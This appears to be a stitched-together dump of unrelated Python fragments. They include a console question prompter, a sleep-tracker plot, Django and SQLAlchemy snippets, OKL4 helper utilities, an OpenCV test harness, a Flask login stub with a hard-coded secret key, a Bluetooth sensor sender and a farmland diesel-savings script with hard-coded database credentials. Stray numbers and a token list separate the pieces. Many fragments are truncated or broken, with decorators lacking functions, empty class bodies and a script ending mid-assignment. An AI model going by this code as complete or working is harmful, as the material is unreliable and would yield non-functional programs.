= False user_chosen_answer = None # type: bool default_literal_answer = "" if default_answer: default_literal_answer = "yes" elif not default_answer: default_literal_answer = "no" while not answer_understood: user_entered_response = input( "Default answer is: " + default_literal_answer + ". What do you want? Type y, n or confirm default: ") user_chosen_answer, answer_understood = recognize_user_input_yes_or_no(user_entered_response, default_answer) result['answer'] = user_chosen_answer # Code Block for handling multi-option question type elif optiontype == "multi_choice": # we will later need a list of valid responses from the user valid_answers = [] # enumerate yields the index AND the value, so we can use both then for index, item in enumerate(valid_options): print(str(index) + ": " + item) valid_answers.append(index) answer_understood = False user_chosen_answer = None # type: str while not answer_understood: print("The default is option #" + str(default_answer)) user_entered_response = input("Confirm with enter or put in your own choice and confirm: ") user_chosen_answer, answer_understood = recognize_user_input(user_entered_response, valid_answers, default_answer) result['answer'] = int(user_chosen_answer) elif optiontype == "free_choice": answer_understood = False user_chosen_answer = None while not answer_understood: print("Default answer is: " + str(default_answer)) user_entered_response = input("Please enter your desired value with '.' as decimal separator: ") try: user_entered_response = float(user_entered_response) user_chosen_answer, answer_understood = parse_user_input_lower_upper_limit_with_interval( user_entered_response, valid_options_lower_limit, valid_options_upper_limit, valid_options_steplength) except ValueError: try: if user_entered_response == "": user_chosen_answer = default_answer answer_understood = True except ValueError: answer_understood = False result['answer'] = user_chosen_answer elif optiontype == "free_text": answer_understood = False user_chosen_answer = None while not answer_understood: print("Default answer is: " + str(default_answer)) user_chosen_answer = input("Type your own now or confirm default with enter: ") if user_chosen_answer == "": user_chosen_answer = default_answer answer_understood = True result['answer'] = user_chosen_answer elif optiontype == "2_indeces": answer1_understood = False answer2_understood = False index1 = None index2 = None print("Default answer is: " + str(default_answer)) while not answer1_understood: user_chosen_answer = input("Index 1: ") try: index1 = int(user_chosen_answer) answer1_understood = True except ValueError: print("Please make sure to only enter a number!") while not answer2_understood: user_chosen_answer = input("Index 2: ") try: index2 = int(user_chosen_answer) answer2_understood = True except ValueError: print("Please make sure to only enter a number!") result["answer"] = [index1, index2] elif optiontype == "multi_indeces": answer_understood = False user_chosen_answer = default_answer indeces = None while not answer_understood: indeces = [] print("Default answer is: " + str(default_answer)) user_chosen_answer = input("Type your own now or confirm default with enter: ") # type: str user_chosen_answer_list = user_chosen_answer.split(",") error_happened = False for item in user_chosen_answer_list: try: indeces.append(int(item)) except ValueError: error_happened = True print("Please make sure to only enter integer numbers separated by commas.") if not error_happened: answer_understood = True result["answer"] = indeces else: print("You are trying to use a question type that is not supported or have a typoo in your code.+") return result # type: dict
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import matplotlib.pyplot as plt import numpy as np import os import matplotlib.dates as mdates from datetime import datetime # read in timetable dates = [] sleep = [] for file in os.listdir("./data"): if file.endswith(".txt"): dates.append(file.rstrip('.txt')) with open(str('./data/'+file), "r") as filestream: tick = [] radii = [] radii_mood = [] notes = [] for line in filestream: currentline = line.rstrip('\n') currentline = currentline.split(',') tick.append(int(currentline[0])) if currentline[1].strip(): radii.append(currentline[1].strip()) else: radii.append(radii[-1]) if currentline[2].strip(): radii_mood.append(int(currentline[2])) else: radii_mood.append(radii_mood[-1]) notes.append(currentline[3].strip()) sleep.append(radii.count('sleep')) dates_format = [datetime.strptime(d, "%Y%m%d") for d in dates] # Create figure and plot a stem plot with the date fig, ax = plt.subplots(figsize=(8.8, 4)) ax.set(title="SLEEP TRACKER") markerline, stemline, baseline = ax.stem(dates_format, sleep, linefmt="C3-", basefmt="k-") plt.setp(markerline, mec="k", mfc="w", zorder=3) # ax.get_xaxis().set_major_formatter(mdates.WeekdayLocator(byweekday=MO)) ax.get_xaxis().set_major_locator(mdates.DayLocator(interval=3)) ax.get_xaxis().set_major_formatter(mdates.DateFormatter("%a, %d %b")) plt.setp(ax.get_xticklabels(), rotation=30, ha="right") plt.savefig(str('./figures/'+'sleep_tracker.png'), dpi=100,bbox_inches='tight', transparent=True, pad_inches=0) plt.show()
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# This is the gtk-dependent HTTPRequest module. # For the pyjamas/javascript version, see platform/HTTPRequestPyJS.py import sys import pygwt from __pyjamas__ import JS if sys.platform not in ['mozilla', 'ie6', 'opera', 'oldmoz', 'safari']: from __pyjamas__ import get_main_frame import pyjd handlers = {}
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# -*-: coding utf-8 -*- """ Mopidy skill for Snips. """ from __future__ import unicode_literals from mopidyclient import MopidyClient GAIN = 4 class SnipsMopidy: """Mopidy skill for Snips. :param mopidy_host: The hostname of the Mopidy http server """
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import django from django.test import TestCase from django.urls import reverse_lazy, reverse from django.contrib.auth.models import User, Group, Permission from django.core.exceptions import PermissionDenied from .models import ApplicationTemplate, ApplicationQuestion, Application, ApplicationResponse import uuid
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from django.conf import settings from django.db import models from django.utils import timezone from events.models import Event
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3.8
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import orm import sqlalchemy from ..config import database, metadata
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############################################################################## # Copyright (c) 2007 Open Kernel Labs, Inc. (Copyright Holder). # All rights reserved. # # 1. Redistribution and use of OKL4 (Software) in source and binary # forms, with or without modification, are permitted provided that the # following conditions are met: # # (a) Redistributions of source code must retain this clause 1 # (including paragraphs (a), (b) and (c)), clause 2 and clause 3 # (Licence Terms) and the above copyright notice. # # (b) Redistributions in binary form must reproduce the above # copyright notice and the Licence Terms in the documentation and/or # other materials provided with the distribution. # # (c) Redistributions in any form must be accompanied by information on # how to obtain complete source code for: # (i) the Software; and # (ii) all accompanying software that uses (or is intended to # use) the Software whether directly or indirectly. Such source # code must: # (iii) either be included in the distribution or be available # for no more than the cost of distribution plus a nominal fee; # and # (iv) be licensed by each relevant holder of copyright under # either the Licence Terms (with an appropriate copyright notice) # or the terms of a licence which is approved by the Open Source # Initative. For an executable file, "complete source code" # means the source code for all modules it contains and includes # associated build and other files reasonably required to produce # the executable. # # 2. THIS SOFTWARE IS PROVIDED ``AS IS'' AND, TO THE EXTENT PERMITTED BY # LAW, ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR # PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED. WHERE ANY WARRANTY IS # IMPLIED AND IS PREVENTED BY LAW FROM BEING DISCLAIMED THEN TO THE # EXTENT PERMISSIBLE BY LAW: (A) THE WARRANTY IS READ DOWN IN FAVOUR OF # THE COPYRIGHT HOLDER (AND, IN THE CASE OF A PARTICIPANT, THAT # PARTICIPANT) AND (B) ANY LIMITATIONS PERMITTED BY LAW (INCLUDING AS TO # THE EXTENT OF THE WARRANTY AND THE REMEDIES AVAILABLE IN THE EVENT OF # BREACH) ARE DEEMED PART OF THIS LICENCE IN A FORM MOST FAVOURABLE TO # THE COPYRIGHT HOLDER (AND, IN THE CASE OF A PARTICIPANT, THAT # PARTICIPANT). IN THE LICENCE TERMS, "PARTICIPANT" INCLUDES EVERY # PERSON WHO HAS CONTRIBUTED TO THE SOFTWARE OR WHO HAS BEEN INVOLVED IN # THE DISTRIBUTION OR DISSEMINATION OF THE SOFTWARE. # # 3. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR ANY OTHER PARTICIPANT BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN # IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #pylint: disable-msg=R0903 """ A set of useful stuff """ import types class IntString(long): """A sub-type of integer that allows you to associate a string with a given integer""" _show = {} _default_string = None def align_up(val, alignment): """Round val up to a given alignment.""" if not alignment: return val ovr = val % alignment if (ovr): val = val + alignment - ovr return val def align_down(val, alignment): """Round val down to a given alignment""" if alignment: val -= (val % alignment) return val def is_integer(val): """Return true if the val is an integer or long type.""" return isinstance(val, types.IntType) or isinstance(val, types.LongType) class TransformableMixin: """This is a mix-in class which allows a class instance to be specialised after creation. For example this allows us to make subclasses of ElfSection, and then change existing instance into the subclass. This is very useful if you consider that the subclass may be being pointed to from various different places, and having back links to them all would really complicate things. This mixin is used for ElfSection.""" # This class is pretty magic, and pylint doesn't deal with magic very # well. In particular, it doesn't like the fact we don't have __init__, # and it doesn't realise that there is a builtin __class__ instance # variable. #pylint: disable-msg=W0232,W0201,E0203 def transform(self, cls): """Transform is called to morph the current instance into a new class 'cls'. The new class must be a subclass of the of the current instances class. After changing the class, trasnformed() will be called to do any post fixups. This is called after a it is prepared. A subclass should provide a "transformer(self)" method. This method is called immediately after the class transformation and allows the subclass to doing any fixup necessary. It is designed to be overridden by subclasses, and is simply empty here. """ if not issubclass(cls, self.__class__): raise Exception, "Can only transform into subclassess" self.__class__ = cls self.transformer() class Span: """A simple little helper class that lets you easily test if a value is in between a given span of numbers. E.g: >>> 3 in Span(1, 5) True >>> 0 in Span(1, 5) False >>> 1 in Span(1, 5) True >>> 5 in Span(1, 5) False """ def __init__(self, base, end): """Initialise a span starting from base and going to end.""" self.base = base self.end = end def __contains__(self, val): """Return true if a given value is in the span.""" return val >= self.base and val < self.end class Prepared(Exception): """This exception is raised when a method is called and the object should be in the unprepared state, but is actually in the prepared state.""" class Unprepared(Exception): """This exception is raised when a method is called and the object should be in the prepared state, but is actually in the unprepared state."""
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3.037317
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import pyglet from pyglet.gl import * window = pyglet.window.Window() label = pyglet.text.Label('Hello, world', font_name='Times New Roman', font_size=36, x=window.width//2, y=window.height//2, anchor_x='center', anchor_y='center') @window.event pyglet.app.run()
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1.826733
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from django import forms from django.contrib.admin.helpers import ActionForm from common.forms import AudioAssetCreateFormBase from .models import AudioAsset, Playlist, Rotator, RotatorAsset
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3.716981
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import cv2 import numpy as np import time import os import Command path = os.path.dirname(os.path.abspath(__file__)) pathTeste = path+"/test/" arqTestInput = open(pathTeste+"testInput.txt", 'r') textTestInput = arqTestInput.readlines() for folder in textTestInput: splitFolder = folder.split(",") nameFolder = splitFolder[0] arqInput = open(pathTeste+nameFolder+"/testInput.txt", 'r') textInput = arqInput.readlines() textOutput ="" for linha in textInput: start_time = time.time() split = linha.split(";") nameFile = split[0] resultExpected = split[1] resultExpected = resultExpected.replace("\n", "") image = cv2.imread(pathTeste+nameFolder+"/" + nameFile) r = 1100.0 / image.shape[1] dim = (1100, int(image.shape[0] * r)) image = cv2.resize(image,dim, interpolation = cv2.INTER_AREA) pre_proc = Command.preprocess_image(image) #cv2.imwrite(path+"/testeResultadoP"+ nameFile +".jpeg", pre_proc); cnts, qntd_found, qtnd_squard = Command.find_cnts_commands(pre_proc) commands = Command.find_commands(cnts, image) response = Command.responseCommands(commands) if response.lower().strip() == resultExpected.lower().strip(): textOutput = textOutput + "1;" else: textOutput = textOutput +"0;" textOutput = textOutput + str(qntd_found) +"---" textOutput = textOutput + str(qtnd_squard) +"---" timeFormat = "%.2f" % (time.time() - start_time) textOutput = textOutput + str(timeFormat) +"---" textOutput = textOutput + nameFile +";" textOutput = textOutput + response +"\n" temp_cnts = [] for y in range(len(commands)): for x in range(len(commands[y])): temp_cnts.append(commands[y][x].contour) cv2.drawContours(image,temp_cnts, -1, (255,0,0), 2) cv2.putText(image,commands[y][x].best_command_match,(commands[y][x].center[0]-60, commands[y][x].center[1]+25),cv2.FONT_HERSHEY_SIMPLEX,1,(0,0,0),3,cv2.LINE_AA) cv2.imwrite(pathTeste+nameFolder+"/testeResultado/"+ nameFile +".jpeg", image); arqOutput = open(pathTeste+nameFolder+"/testOutput.txt", 'w') arqOutput.write(textOutput) arqOutput.close()
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2.304394
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from os import link from django.contrib.auth.models import User, Group from videoapp.models import videos from rest_framework import serializers
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import sys import socket import string import re HOST = "" PORT = 6667 DEBUG_FLAG = False
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3.1
30
#!/usr/bin/python ## Python Launcher import platform import sys from subprocess import call import subprocess import logging #Make it a thread!
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import gen import network as ann words, imgs = gen.get_tuples(range(100, 10100)) word_mat, img_mat = gen.prepare_input_tensors(words, imgs) print "Input images >>", img_mat.shape print "Input labels >>", word_mat.shape nn = ann.Network([100, img_mat.shape[1], img_mat.shape[2]], word_mat.shape, gen.get_default_total_code(), 100) nn.train(img_mat, word_mat, "../artifacts/" + "test_weight", batch_size=100, max_iteration=100, continue_from_last=False)
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2.714286
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"""Advent of Code 2021 - Day 3""" import os import statistics from copy import deepcopy def filter_numbers(numbers: list[str], position: int, value: str) -> list[str]: """ Filters the list of numbers based on the bit value at a given position :param numbers: List of numbers as strings :param position: The bit position to check :param value: The value needed at a given pit position :return: List of filtered numbers as strings """ return [number for number in numbers if number[position] == value] def find_mode(numbers: list[str], position: int) -> str: """ Find the mode of a given list of numbers :param numbers: List of numbers as strings :param position: The bit position :return: Mode of the digits at the bit position as a str """ numbers = [int(number[position]) for number in numbers] # Reverse sorting to get 1 if there are equal number of 0s and 1s numbers.sort(reverse=True) mode = statistics.mode(numbers) return str(mode) def flip_bit(b: str) -> str: """ Flip the bit. 0 -> 1 and 1 -> 0 :param b: Bit to be flipped :return: Flipped bit """ return "0" if b == "1" else "1" if __name__ == '__main__': main()
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from enum import Enum class Priority(Enum): """ Enum defining the priority of the notification """ immediately = 10 normal = 5 PRODUCTION_HOST = "api.push.apple.com" SANDBOX_HOST = "api.development.push.apple.com" DEFAULT_PORT = 443 ALT_PORT = 2197 MAX_NOTIFICATION_PAYLOAD_SIZE_VOIP = 5120 MAX_NOTIFICATION_PAYLOAD_SIZE_OTHER = 4096
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2.659259
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import pytest from databases import Database from sqlalchemy import ( Column, ForeignKey, Integer, MetaData, String, Table, create_engine, ) from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from sqlalchemy_to_ormar import ormar_model_str_repr, sqlalchemy_to_ormar Base = declarative_base() Database_URL = "sqlite:///test.db" engine = create_engine(Database_URL) database = Database(Database_URL) metadata = MetaData(engine) association_table = Table( "association", Base.metadata, Column("id", Integer, primary_key=True), Column("parent", Integer, ForeignKey("left.id", ondelete="CASCADE")), Column("child", Integer, ForeignKey("right.id", ondelete="CASCADE")), ) @pytest.fixture(autouse=True, scope="module") @pytest.mark.asyncio
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2.818182
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# Copyright 2021 Rikai Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Helper functions for python reflections. """ import importlib def has_func(func_name: str) -> bool: """ Assuming `x.y.z.name` as func_name, Check if `from x.y import z; z.name` or `from x.y.z import name` works """ try: module, cls, func = func_name.rsplit(".", 2) mod = importlib.import_module(module) return hasattr(getattr(mod, cls), func) except (AttributeError, ValueError): try: module, cls = func_name.rsplit(".", 1) mod = importlib.import_module(module) return hasattr(mod, cls) except (ValueError, ModuleNotFoundError): return False except ModuleNotFoundError: return False def find_func(func_name: str): """ Assuming `x.y.z.name` as func_name Try `from x.y import z; z.name` first, and then `from x.y.z import name` """ module, cls, func = func_name.rsplit(".", 2) try: mod = importlib.import_module(module) return getattr(getattr(mod, cls), func) except AttributeError: module, cls = func_name.rsplit(".", 1) mod = importlib.import_module(module) return getattr(mod, cls)
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2.610619
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# This file is part of the MapProxy project. # Copyright (C) 2010 Omniscale <http://omniscale.de> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import print_function import tempfile import os import re import sys from contextlib import contextmanager from lxml import etree from mapproxy.test import mocker from mapproxy.compat import string_type, PY2 from nose.tools import eq_ class Mocker(object): """ This is a base class for unit-tests that use ``mocker``. This class follows the nosetest naming conventions for setup and teardown methods. `setup` will initialize a `mocker.Mocker`. The `teardown` method will run ``mocker.verify()``. """ def expect_and_return(self, mock_call, return_val): """ Register a return value for the mock call. :param return_val: The value mock_call should return. """ self.mocker.result(return_val) def replay(self): """ Finish mock-record phase. """ self.mocker.replay() def mock(self, base_cls=None): """ Return a new mock object. :param base_cls: check method signatures of the mock-calls with this base_cls signature (optional) """ if base_cls: return self.mocker.mock(base_cls) return self.mocker.mock() class TempFiles(object): """ This class is a context manager for temporary files. >>> with TempFiles(n=2, suffix='.png') as tmp: ... for f in tmp: ... assert os.path.exists(f) >>> for f in tmp: ... assert not os.path.exists(f) """ def assert_re(value, regex): """ >>> assert_re('hello', 'l+') >>> assert_re('hello', 'l{3}') Traceback (most recent call last): ... AssertionError: hello ~= l{3} """ match = re.search(regex, value) assert match is not None, '%s ~= %s' % (value, regex) def strip_whitespace(data): """ >>> strip_whitespace(' <foo> bar\\n zing\\t1') '<foo>barzing1' """ if isinstance(data, bytes): return re.sub(b'\s+', b'', data) else: return re.sub('\s+', '', data) @contextmanager
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2.618022
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"""Module that generates valid dataset manifest files from various data sources.""" from typing import Dict, List import sqlalchemy from sqlalchemy.engine import Engine from fideslang import manifests from fideslang.models import Dataset, DatasetCollection, DatasetField from .utils import get_db_engine, echo_green def get_db_collections_and_fields(engine: Engine) -> Dict[str, Dict[str, List[str]]]: """ Get the name of every field in each table within database(s) Args: engine: A sqlalchemy DB connection engine Returns: db_tables: An object that contains a mapping of each field in each table of a database (i.e. {schema: {schema.table_name: [fields, ...]}} """ inspector = sqlalchemy.inspect(engine) schema_exclusion_list = ["information_schema"] if engine.dialect.name == "mysql": schema_exclusion_list.extend(["mysql", "performance_schema", "sys"]) db_tables: Dict[str, Dict[str, List]] = {} for schema in inspector.get_schema_names(): if schema not in schema_exclusion_list: db_tables[schema] = {} for table in inspector.get_table_names(schema=schema): db_tables[schema][f"{schema}.{table}"] = [ column["name"] for column in inspector.get_columns(table, schema=schema) ] return db_tables def create_dataset_collections( db_tables: Dict[str, Dict[str, List[str]]] ) -> List[Dataset]: """ Return an object of tables and columns formatted for a Fides manifest with dummy values where needed. """ table_manifests = [ Dataset( fides_key=schema_name, name=schema_name, description=f"Fides Generated Description for Schema: {schema_name}", collections=[ DatasetCollection( name=table_name, description=f"Fides Generated Description for Table: {table_name}", fields=[ DatasetField( name=column, description=f"Fides Generated Description for Column: {column}", data_categories=[], ) for column in table ], ) for table_name, table in schema.items() ], ) for schema_name, schema in db_tables.items() ] return table_manifests def create_dataset(engine: Engine, collections: List[DatasetCollection]) -> Dataset: """ Generate a partial dataset manifest, sans tables/fields, given a database engine. """ url = engine.url name = url.database dataset = Dataset( fides_key=name, name=name, description=f"Fides Generated Description for Dataset: {name}", collections=collections, ) return dataset def generate_dataset(connection_string: str, file_name: str) -> str: """ Given a database connection string, extract all tables/fields from it and write out a boilerplate dataset manifest. """ db_engine = get_db_engine(connection_string) db_collections = get_db_collections_and_fields(db_engine) collections = create_dataset_collections(db_collections) manifests.write_manifest(file_name, [i.dict() for i in collections], "dataset") echo_green(f"Generated dataset manifest written to {file_name}") return file_name
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2.313325
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"""Eto SDK fluent API for managing jobs""" import time from typing import Iterable, Union import pandas as pd from eto._internal.model.dataset_details import DatasetDetails from eto._internal.model.job import Job from eto.connectors.coco import CocoConnector, CocoSource from eto.connectors.rikai import RikaiConnector from eto.fluent.client import get_api def ingest_coco( dataset_name: str, source: Union[CocoSource, dict, Iterable[CocoSource], Iterable[dict]], mode: str = "append", partition: str = None, ) -> Job: """Create a data ingestion job to convert coco to Rikai format and create a new entry in the Eto dataset registry Parameters ---------- dataset_name: str The name of the new Eto dataset source: dict, Iterable[dict], CocoSource, Iterable[CocoSource] Specification for the raw data sources in Coco format. For multiple sources, just specify all of the sources in a single list Example: { 'image_dir': 's3://path/to/images', 'annotation': 's3://path/to/annotation', 'extras': {'split': 'train'} } mode: str, default 'append' Defines behavior when the dataset already exists 'overwrite' means existing data is replaced 'append' means the new data will be added partition: str or list of str Which field to partition on (ex. 'split') """ conn = CocoConnector(get_api("jobs")) if "." in dataset_name: project_id, dataset_id = dataset_name.split(".", 1) else: project_id, dataset_id = "default", dataset_name conn.project_id = project_id conn.dataset_id = dataset_id if isinstance(source, (CocoSource, dict)): source = [source] [ conn.add_source(s if isinstance(s, CocoSource) else CocoSource(**s)) for s in source ] conn.mode = mode or "append" if partition is not None: conn.partition = [partition] if isinstance(partition, str) else partition return conn.ingest() def ingest_rikai( dataset_name: str, url: str, mode: str = "append", partition: str = None, ) -> Job: """Create a data ingestion job to create a new dataset using existing Rikai format data Parameters ---------- dataset_name: str The name of the new Eto dataset url: str The url of the existing Rikai format data to be added to the catalog mode: str, default 'append' Defines behavior when the dataset already exists 'overwrite' means existing data is replaced 'append' means the new data will be added partition: str or list of str Which field to partition on (ex. 'split') """ conn = RikaiConnector(get_api("jobs")) if "." in dataset_name: project_id, dataset_id = dataset_name.split(".", 1) else: project_id, dataset_id = "default", dataset_name conn.project_id = project_id conn.dataset_id = dataset_id conn.url = url conn.mode = mode or "append" if partition is not None: conn.partition = [partition] if isinstance(partition, str) else partition return conn.ingest() def list_jobs( project_id: str = "default", _page_size: int = 50, _start_page_token: int = 0 ) -> pd.DataFrame: """List all jobs for a given project Parameters ---------- project_id: str, default 'default' Show jobs under this project """ jobs = get_api("jobs") frames = [] page = jobs.list_ingest_jobs( project_id, page_size=_page_size, page_token=_start_page_token ) while len(page["jobs"]) > 0: frames.append(pd.DataFrame([j.to_dict() for j in page["jobs"]])) page = jobs.list_ingest_jobs( project_id, page_size=_page_size, page_token=page["next_page_token"] ) return pd.concat(frames, ignore_index=True).drop_duplicates( ["id"], ignore_index=True ) def _wait_for_job(self, max_seconds: int = -1, poke_interval: int = 10) -> str: """Wait for the job to complete (either failed or success) Parameters ---------- max_seconds: int, default -1 Max number of seconds to wait. If -1 wait forever. poke_interval: int, default 10 Interval between checks in seconds """ status = self.status sleep_sec = poke_interval if max_seconds < 0 else min(poke_interval, max_seconds) elapsed = 0 while status not in ("failed", "success"): time.sleep(sleep_sec) status = self.check_status() elapsed += poke_interval if 0 <= max_seconds < elapsed: break return status def _convert_types(schema: Union[str, dict]): """Convert schema fields for better display""" if isinstance(schema, str): # simple types return schema typ = schema["type"] if typ == "array": element_type = _convert_types(schema["elementType"]) return f"[{element_type}]" elif typ == "struct": fields = schema["fields"] return {f["name"]: _convert_types(f["type"]) for f in fields} elif typ == "map": return {_convert_types(schema["keyType"]): _convert_types(schema["valueType"])} elif typ == "udt": return schema.get("pyClass", schema["class"]).rsplit(".", 1)[-1] else: raise ValueError(f"Unrecognized field type {typ}")
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2.591768
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# Just so this appears as an importable module
[ 2, 2329, 523, 428, 3568, 355, 281, 1330, 540, 8265 ]
4.6
10
# adapted from https://github.com/open-mmlab/mmcv or # https://github.com/open-mmlab/mmdetection from collections import OrderedDict from vedacore.misc import registry from .base_hook import BaseHook @registry.register_module('hook')
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3.16
75
from flask import Flask, session, redirect, url_for, escape, request , render_template app = Flask(__name__) # Set the secret key to some random bytes. Keep this really secret! app.secret_key = b'_5#y2L"F4Q8z\n\xec]/' @app.route('/') @app.route('/login', methods=['GET', 'POST']) @app.route('/logout') if __name__ == "__main__": app.run(debug= True)
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2.571429
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# Definition for a binary tree node. # class TreeNode: #     def __init__(self, x): #         self.val = x #         self.left = None #         self.right = None ​
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import time import Adafruit_DHT import bluetooth import sys bd_addr = "DC:A6:32:37:EE:FC" # Server bluetooth address port = 1 sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM ) sock.connect((bd_addr, port)) DHT_SENSOR = Adafruit_DHT.DHT11 DHT_PIN = 4 while True: humidity, temperature = Adafruit_DHT.read_retry(DHT_SENSOR, DHT_PIN) if humidity is not None : try: x = "From Wifi Temp={0:0.2f}*C Humidity={1:0.2f}%".format(temperature, humidity) y = "NO.3 Humidity={1:0.2f}%".format(temperature,humidity) sock.send(y) print(y) time.sleep(0.5) except: try: print('Try to conncent again') sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM ) sock.connect(('DC:A6:32:37:EE:FC', 1)) except: pass else: print("Error!")
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from unittest import mock from flowp import ftypes import types ################# CORE ################# ############### ADAPTERS ############### ############## CONVERTERS ############## ########### OTHER STRUCTURES ########### #@when('executes list') #@when('executes list') #@when('executes list') #@when('executes list')
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import unittest import numpy as np import numpy.testing as npt import wisdem.commonse.frustum as f from wisdem.commonse import eps myones = np.ones((100,)) rb = 4.0 rt = 2.0 t = 0.1 h = 3.0 if __name__ == "__main__": result = unittest.TextTestRunner().run(suite()) if result.wasSuccessful(): exit(0) else: exit(1)
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# -*- coding: utf-8 -*- """ Created on Mon Apr 13 22:46:41 2020 @author: D071127 """ # encoding: utf-8 import platform platform.architecture() import sys from psycopg2 import connect import sys from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT con = None con = connect(user='postgres', host='localhost', password='postgres', database='kuppingen') con.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT) cur = con.cursor() #cur.execute("SELECT * from geo_flurstuecke inner join tausch on (geo_flurstuecke.gid = tausch.flurstuecke_id) WHERE tausch.tauschabende_id IN (SELECT MAX(id) FROM tauschabende);") #Select mit st_dump führt schläge zusammen + join auf den letzten Tauschabend für einen speziellen bewirtschafter cur.execute("SELECT ST_AsText((ST_DUMP(ST_UNION(geom))).geom), bewirtschafter_id FROM geo_flurstuecke g inner join tausch on (g.gid = tausch.flurstuecke_id) INNER JOIN flurstuecke f ON(f.geo_flurstuecke_id = g.gid) WHERE tausch.bewirtschafter_id = 188 and tausch.tauschabende_id ="+getMaxTauschabend(con)+"and f.nutzung LIKE '%Acker%' GROUP BY bewirtschafter_id;") #rückgabewert für neue Schlaege wird in neue variable geschrieben neueSchlaege = cur.fetchall() cur.close() former = con.cursor() former.execute("SELECT ST_AsText((ST_DUMP(ST_UNION(geom))).geom), bewirtschafter_id FROM geo_flurstuecke g inner join tausch on (g.gid = tausch.flurstuecke_id) INNER JOIN flurstuecke f ON(f.geo_flurstuecke_id = g.gid) WHERE tausch.bewirtschafter_id = 188 and tausch.tauschabende_id = 1 and f.nutzung LIKE '%Acker%' GROUP BY bewirtschafter_id;") alteSchlaege = former.fetchall() tauschmax = getMaxTauschabend(con) con.close() former.close() #VARIANTE A) # CO2 Einspartnis = Dieseleinsparnis # Dieseleinsparnis = Summe Diesel / Betrieb vorher - Summe Diesel/Betrieb nachher # = größe durchschnittsgröße vorher * schläge - durschnittsgröße nachher* schläge # 1. durchschnittsgröße ( dieselverbrauch ) anhand KTBL Kurve ermitteln --> Kurve interpolieren # 2. Für einen Bewirtschafter summe fläche / Schläge vorher errechnen # VARIANTE B) # SUMME (Schlaggröße * Interpolationswert aus KTBL für Diesel) VORHER - SUMME(Schlaggröße * Interpolationswert aus KTBL für Diesel) NACHHER # PROBLEM AKTUELL: # 1. Transformation von Flurstücke in Schlage ( noch nicht da ) # 2. Liste aus SQL befehlen ( von Jens anfordern ) ## import geopanda for area berechnung import pandas as pd # dataframe basteln aus neueSchlaege py list dfObjpd=pd.DataFrame(neueSchlaege, columns =['geometry', 'bewirtschafterID']) ##das selbe für den initialen schlag stand bei tauschabend min dfObjpdformer=pd.DataFrame(alteSchlaege, columns=['geometry', 'bewirtschafterID'] ) #print (dfObj) import geopandas as gpd # = gpd.read_file(dfObj) #print (dfObj.crs) from shapely import wkt import shapely.wkt #dfObj = dfObjpd dfObjpd['geometry'] = dfObjpd['geometry'].map(shapely.wkt.loads) dfObjpdformer = dfObjpdformer['geometry'].map(shapely.wkt.loads) gdf = gpd.GeoDataFrame(dfObjpd, geometry ='geometry') gdfformer = gpd.GeoDataFrame(dfObjpdformer, geometry ='geometry') gdf.crs = "EPSG:31467" gdfformer.crs = "EPSG:31467" ## Berechne Schlaggröße des zusammengefassten Schlages auf basis neuestem Tauschabend gdf["area"] = gdf['geometry'].area/ 10**4 gdf.head(2) #Kosten per Schlag nachher = area * xx gdf["kosten"]= (0.4313*gdf["area"]**4 - 8.8792*gdf["area"]**3 + 66.062*gdf["area"]**2 - 223.83*gdf["area"] + 809.24)*gdf["area"] #TBD: BewirtschafterMatrix mit kosten per bewirtschafter #bewirtschafter[] #for n in gdf['bewirtschafter']: # bewirtschafter[n] = gdf['bewirtschafter'.sum().kosten #summe aller kosten per bewirtschfter schlaggroeseavg=gdf.sum().area/gdf.index.size gdfgesamtkosten = gdf.sum().kosten gdfgesamthektar = gdf.sum().area kostenperarea = gdfgesamtkosten/gdfgesamthektar #summe bewirtschafter nachher - vorher ## STand vorher: gdfformer["area"] = gdfformer['geometry'].area/ 10**4 #Kosten per Schlag nachher = area * xx gdfformer["kosten"]= (0.4313*gdfformer["area"]**4 - 8.8792*gdfformer["area"]**3 + 66.062*gdfformer["area"]**2 - 223.83*gdfformer["area"] + 809.24)*gdf["area"] #summe aller kosten per bewirtschfter schlaggroeseavgformer=gdfformer.sum().area/gdfformer.index.size gdfgesamtkostenformer = gdfformer.sum().kosten gdfgesamthektarformer = gdfformer.sum().area kostenperareaformer = gdfgesamtkostenformer/gdfgesamthektarformer Ersparnis = gdfgesamtkostenformer - gdfgesamtkosten #jeden Schlag Umfang rechnen #gdf["Umfang"]= gdf['geometry']. gdf["diesel"]= (5.3254*gdf["area"]**2- 0.463*gdf["area"]**3 - 22.897*gdf["area"] + 156.67)*gdf["area"] gdfformer["diesel"] = (-0.463*gdfformer["area"]**3 + 5.3254*gdfformer["area"]**2 - 22.897*gdfformer["area"] + 156.67)*gdfformer["area"] Dieselersparnis = 